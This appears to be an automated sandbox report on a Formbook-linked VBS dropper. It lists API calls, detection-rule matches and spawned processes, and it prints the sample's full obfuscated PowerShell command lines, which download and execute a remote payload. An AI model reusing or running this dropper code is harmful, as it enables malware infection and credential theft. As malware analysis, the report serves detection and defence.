Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132E80 NtReadVirtualMemory,	10_2_22132E80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132EA0 NtAdjustPrivilegesToken,	10_2_22132EA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132EE0 NtQueueApcThread,	10_2_22132EE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132F30 NtCreateSection,	10_2_22132F30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132F60 NtCreateProcessEx,	10_2_22132F60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132F90 NtProtectVirtualMemory,	10_2_22132F90
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132FB0 NtResumeThread,	10_2_22132FB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132FA0 NtQuerySection,	10_2_22132FA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132FE0 NtCreateFile,	10_2_22132FE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132C00 NtQueryInformationProcess,	10_2_22132C00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132C60 NtCreateKey,	10_2_22132C60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132CA0 NtQueryInformationToken,	10_2_22132CA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132CC0 NtQueryVirtualMemory,	10_2_22132CC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132CF0 NtOpenProcess,	10_2_22132CF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22133D10 NtOpenProcessToken,	10_2_22133D10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132D10 NtMapViewOfSection,	10_2_22132D10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132D00 NtSetInformationFile,	10_2_22132D00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132D30 NtUnmapViewOfSection,	10_2_22132D30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22133D70 NtOpenThread,	10_2_22133D70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132DB0 NtEnumerateKey,	10_2_22132DB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132DD0 NtDelayExecution,	10_2_22132DD0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132DF0 NtQuerySystemInformation,	10_2_22132DF0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848A7B136	4_2_00007FF848A7B136
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848A7BEFB	4_2_00007FF848A7BEFB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0490EDF0	6_2_0490EDF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0490F6C0	6_2_0490F6C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0490EAA8	6_2_0490EAA8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A0274	10_2_221A0274
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221052A0	10_2_221052A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2211B2C0	10_2_2211B2C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A12ED	10_2_221A12ED
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B132D	10_2_221B132D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220ED34C	10_2_220ED34C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221BA352	10_2_221BA352
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2214739A	10_2_2214739A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210E3F0	10_2_2210E3F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221C03E6	10_2_221C03E6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221070C0	10_2_221070C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221AF0CC	10_2_221AF0CC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B70E9	10_2_221B70E9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221BF0E0	10_2_221BF0E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2219A118	10_2_2219A118
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F0100	10_2_220F0100
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22188158	10_2_22188158
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221CB16B	10_2_221CB16B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2213516C	10_2_2213516C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210B1B0	10_2_2210B1B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221C01AA	10_2_221C01AA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B81CC	10_2_221B81CC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B16CC	10_2_221B16CC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2211C6E0	10_2_2211C6E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22124750	10_2_22124750
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22100770	10_2_22100770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221BF7B0	10_2_221BF7B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220FC7C0	10_2_220FC7C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221BF43F	10_2_221BF43F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B2446	10_2_221B2446
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F1460	10_2_220F1460
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221AE4F6	10_2_221AE4F6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22100535	10_2_22100535
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B7571	10_2_221B7571
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221C0591	10_2_221C0591
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2219D5B0	10_2_2219D5B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221BFA49	10_2_221BFA49
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B7A46	10_2_221B7A46
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22173A6C	10_2_22173A6C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220FEA80	10_2_220FEA80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22145AA0	10_2_22145AA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2219DAAC	10_2_2219DAAC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221ADAC6	10_2_221ADAC6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221BAB40	10_2_221BAB40
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221BFB76	10_2_221BFB76
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2211FB80	10_2_2211FB80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B6BD7	10_2_221B6BD7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22175BF0	10_2_22175BF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2213DBF9	10_2_2213DBF9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2216D800	10_2_2216D800
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22102840	10_2_22102840
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210A840	10_2_2210A840
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220E68B8	10_2_220E68B8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212E8F0	10_2_2212E8F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221038E0	10_2_221038E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22109950	10_2_22109950
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2211B950	10_2_2211B950
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22116962	10_2_22116962
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221029A0	10_2_221029A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221CA9A6	10_2_221CA9A6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221BEE26	10_2_221BEE26
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22100E59	10_2_22100E59
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22112E90	10_2_22112E90
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221BCE93	10_2_221BCE93
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22109EB0	10_2_22109EB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221BEEDB	10_2_221BEEDB
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221BFF09	10_2_221BFF09
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22120F30	10_2_22120F30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22142F28	10_2_22142F28
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22174F40	10_2_22174F40
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22101F92	10_2_22101F92
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221BFFB1	10_2_221BFFB1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F2FC8	10_2_220F2FC8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210CFE0	10_2_2210CFE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22100C00	10_2_22100C00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22179C32	10_2_22179C32
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A0CB5	10_2_221A0CB5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221BFCF2	10_2_221BFCF2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F0CF2	10_2_220F0CF2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210AD00	10_2_2210AD00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B1D5A	10_2_221B1D5A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22103D40	10_2_22103D40
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B7D73	10_2_221B7D73
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22118DBF	10_2_22118DBF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2211FDC0	10_2_2211FDC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220FADE0	10_2_220FADE0
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Code function: 11_2_03632B8C	11_2_03632B8C
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Code function: 11_2_0362C228	11_2_0362C228
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Code function: 11_2_0362C22C	11_2_0362C22C
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Code function: 11_2_0364B04C	11_2_0364B04C
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Code function: 11_2_0362C44C	11_2_0362C44C
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Code function: 11_2_0362A4CC	11_2_0362A4CC

Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 2216EA12 appears 84 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 2217F290 appears 105 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 22135130 appears 36 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 220EB970 appears 268 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 22147E54 appears 91 times

Source: 6 654398.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 6180
Source: unknown	Process created: Commandline size = 6180
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 6180	Jump to behavior

Source: amsi32_6656.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 0000000C.00000002.3468115562.00000000033D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3466570701.0000000002EC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.3467347887.0000000000E80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.3467940169.00000000033A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3468043368.0000000003380000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.3185715994.0000000021E50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.3186142733.0000000022E10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 7156, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6656, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBS@15/8@3/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\spgelseshistories.Hov

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2508:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1896:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rsrzxlfk.3qw.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6 654398.vbs"

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process Where Name = 'Chefstoles.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7156
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=6656

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: cmdkey.exe, 0000000C.00000002.3466952802.0000000003211000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000003.3357501122.00000000031E4000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000002.3466952802.00000000031EF000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000002.3466952802.00000000031E4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 6 654398.vbs

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6 654398.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\PING.EXE ping gormezl_6777.6777.6777.677e
Source: C:\Windows\System32\PING.EXE	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Versfods Pudser Ringmrknings Gonitis Recuperability Saggio Doceret #>;$Homoplasy='Stenkulsnaftas';<#Rejicer Amanuensiser Manticory #>;$Feminisere=$Oversalts+$host.UI; function Naturvrdi($unmannerliness){If ($Feminisere) {$varens++;}$Uenigst=$Etymologiserendes+$unmannerliness.'Length'-$varens; for( $Erhold=4;$Erhold -lt $Uenigst;$Erhold+=5){$Generationsprojekters=$Erhold;$Lucuma+=$unmannerliness[$Erhold];$Bergensisk='Costively';}$Lucuma;}function Furnage($Lokummet){ & ($Brneballet) ($Lokummet);}$Prereceived=Naturvrdi 'MaliM atio Hi,zSp.liFibrlBagmlTilkaExte/Rytt ';$Prereceived+=Naturvrdi ' Kyl5R,ek.Bran0neut Fo b(bereWAfm i QuanFl.ld BrsoEstawUnlusC ch AppeNSpheT et Howd1Enek0Him .Flle0 tje;Repr Oxy WC diiSkadnBesk6Abor4Call;Fors FastxStem6gav.4Phan;St.u Prodr KiovGdni: Ben1Grun3V sp1Su t.Land0St r)M,sc SupeGHandeCatac.uffkR cho Vau/Su c2 Car0 amp1Posi0Zirk0reg.1Fist0D ba1Vide F.anFSurviSengrMa,keRutef edeoEscaxLe b/Tild1incu3Para1Inde.Tryp0Brod ';$Teosofis=Naturvrdi 'M.deuSchnsMicrEbeboRSprn-TillaSandG hagE S.eNOpgatWaba ';$Soybean=Naturvrdi 'Reveh Fort.quat.usqpKultsPros:Pref/ Ko./UndewKat.wJazzw Uda.Sh,pgVermrP euoStoeuUdenpTh,or ambi S ea BrumPsyc.Ud ycPaapoPatemCopr/Fit.K P roiri,a ReplAfhji emtFeasiTermougr nLkkeeProprcyst.ComppUnsorBerrxId n>ArabhEmbltSarotKommp frssanti: Ent/Pu s/kalabS virDetau emtMo.sa.ent. iscp OlilMode/Be eKLeptoTe aaKruslcur.iFetct,araiEteroPourn OkkeCha rSi,h.CocrpSprkrtankx Mer>behnhlagdtRevatprofpSludsReso:Brug/Prop/ GeopOptar UndoPrepmTaviePrecnOps,t Lr eBerer dob.Actir IvesHaug/IrreKKineoPneua failTri,i RhatAnkei AveoSlatnveroeFeudrVeli.Sammpdownr .eixSnke ';$Knulling=Naturvrdi 'Geom>Bagg ';$Brneballet=Naturvrdi 'Hun iIncoeFri X Svu ';$Deposito='Kalkudsivning';$Mantelet70='\spgelseshistories.Hov';Furnage (Naturvrdi 'Wo l$ RecgR maLsab OHersBParaAHelll Ind:LotaPSpisR AutEOpskd ,irIOvercFrs,AplanBMainlFiskePres=Trai$ FrieLat nBrunVDumb:Ban a Bo pHelmpPr dDi aiA.ntrtTor A.arr+Cloa$dioxmMechADiviNUdd Ttr,ne dlglOptiEDybstR ne7Lnko0Tegn ');Furnage (Naturvrdi 'Smas$PercGO erLSau OElanBHjemAT apLSkyg:Advio Oksp No.tHydrRUnfevU unL cceUdsvt Opp2E cr2Fors7Laud= H.r$ruelsI dvoOverYSoldBKorsEPunca prkN Abl.RvenStlpeptypolBetoIForetPaaf(,ekn$Unq kPutrnKittu klaLNondl.nami.oncnFibrG Vid)El e ');Furnage (Naturvrdi 'Stan[ CorNI che,angtOv r.TestSKo te ApprOm gV ridiAppecKrnieE tepBesgoAkmui Batn MiltUkrlM bacaSlannOphoaPolyG GkkeColpRHydr] ood:V gr: Ba SHogtEGramCSo oU,avnr.resiUndeTSympyYumaPI,terSkriO .agtSkreoU tac foroHammlPa.v Asc=Oplg Voic[SwilN.ilbePenkt in .Jap,S NuleImdeC dpaUUrsirUnfaiMissTDoo yInfiP T.ert ndOUndeT m,roCrazc K.lOCounLMou TReneYRuswP,ddeE yn]Neur:John:PaattPlumLR,acsEfte1Inte2F.os ');$Soybean=$Optrvlet227[0];$Afbrnde=(Naturvrdi 'Frek$ Un gUr nl BaloTetoBLimnASkolLEcze: .hikHeteaAwaksEnwik ForEBrutLPhonoKenit NegTAfb,eEarlrR.teNFor,EStubSReko=taenn Ceme Te WPart-Ve.dO
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Versfods Pudser Ringmrknings Gonitis Recuperability Saggio Doceret #>;$Homoplasy='Stenkulsnaftas';<#Rejicer Amanuensiser Manticory #>;$Feminisere=$Oversalts+$host.UI; function Naturvrdi($unmannerliness){If ($Feminisere) {$varens++;}$Uenigst=$Etymologiserendes+$unmannerliness.'Length'-$varens; for( $Erhold=4;$Erhold -lt $Uenigst;$Erhold+=5){$Generationsprojekters=$Erhold;$Lucuma+=$unmannerliness[$Erhold];$Bergensisk='Costively';}$Lucuma;}function Furnage($Lokummet){ & ($Brneballet) ($Lokummet);}$Prereceived=Naturvrdi 'MaliM atio Hi,zSp.liFibrlBagmlTilkaExte/Rytt ';$Prereceived+=Naturvrdi ' Kyl5R,ek.Bran0neut Fo b(bereWAfm i QuanFl.ld BrsoEstawUnlusC ch AppeNSpheT et Howd1Enek0Him .Flle0 tje;Repr Oxy WC diiSkadnBesk6Abor4Call;Fors FastxStem6gav.4Phan;St.u Prodr KiovGdni: Ben1Grun3V sp1Su t.Land0St r)M,sc SupeGHandeCatac.uffkR cho Vau/Su c2 Car0 amp1Posi0Zirk0reg.1Fist0D ba1Vide F.anFSurviSengrMa,keRutef edeoEscaxLe b/Tild1incu3Para1Inde.Tryp0Brod ';$Teosofis=Naturvrdi 'M.deuSchnsMicrEbeboRSprn-TillaSandG hagE S.eNOpgatWaba ';$Soybean=Naturvrdi 'Reveh Fort.quat.usqpKultsPros:Pref/ Ko./UndewKat.wJazzw Uda.Sh,pgVermrP euoStoeuUdenpTh,or ambi S ea BrumPsyc.Ud ycPaapoPatemCopr/Fit.K P roiri,a ReplAfhji emtFeasiTermougr nLkkeeProprcyst.ComppUnsorBerrxId n>ArabhEmbltSarotKommp frssanti: Ent/Pu s/kalabS virDetau emtMo.sa.ent. iscp OlilMode/Be eKLeptoTe aaKruslcur.iFetct,araiEteroPourn OkkeCha rSi,h.CocrpSprkrtankx Mer>behnhlagdtRevatprofpSludsReso:Brug/Prop/ GeopOptar UndoPrepmTaviePrecnOps,t Lr eBerer dob.Actir IvesHaug/IrreKKineoPneua failTri,i RhatAnkei AveoSlatnveroeFeudrVeli.Sammpdownr .eixSnke ';$Knulling=Naturvrdi 'Geom>Bagg ';$Brneballet=Naturvrdi 'Hun iIncoeFri X Svu ';$Deposito='Kalkudsivning';$Mantelet70='\spgelseshistories.Hov';Furnage (Naturvrdi 'Wo l$ RecgR maLsab OHersBParaAHelll Ind:LotaPSpisR AutEOpskd ,irIOvercFrs,AplanBMainlFiskePres=Trai$ FrieLat nBrunVDumb:Ban a Bo pHelmpPr dDi aiA.ntrtTor A.arr+Cloa$dioxmMechADiviNUdd Ttr,ne dlglOptiEDybstR ne7Lnko0Tegn ');Furnage (Naturvrdi 'Smas$PercGO erLSau OElanBHjemAT apLSkyg:Advio Oksp No.tHydrRUnfevU unL cceUdsvt Opp2E cr2Fors7Laud= H.r$ruelsI dvoOverYSoldBKorsEPunca prkN Abl.RvenStlpeptypolBetoIForetPaaf(,ekn$Unq kPutrnKittu klaLNondl.nami.oncnFibrG Vid)El e ');Furnage (Naturvrdi 'Stan[ CorNI che,angtOv r.TestSKo te ApprOm gV ridiAppecKrnieE tepBesgoAkmui Batn MiltUkrlM bacaSlannOphoaPolyG GkkeColpRHydr] ood:V gr: Ba SHogtEGramCSo oU,avnr.resiUndeTSympyYumaPI,terSkriO .agtSkreoU tac foroHammlPa.v Asc=Oplg Voic[SwilN.ilbePenkt in .Jap,S NuleImdeC dpaUUrsirUnfaiMissTDoo yInfiP T.ert ndOUndeT m,roCrazc K.lOCounLMou TReneYRuswP,ddeE yn]Neur:John:PaattPlumLR,acsEfte1Inte2F.os 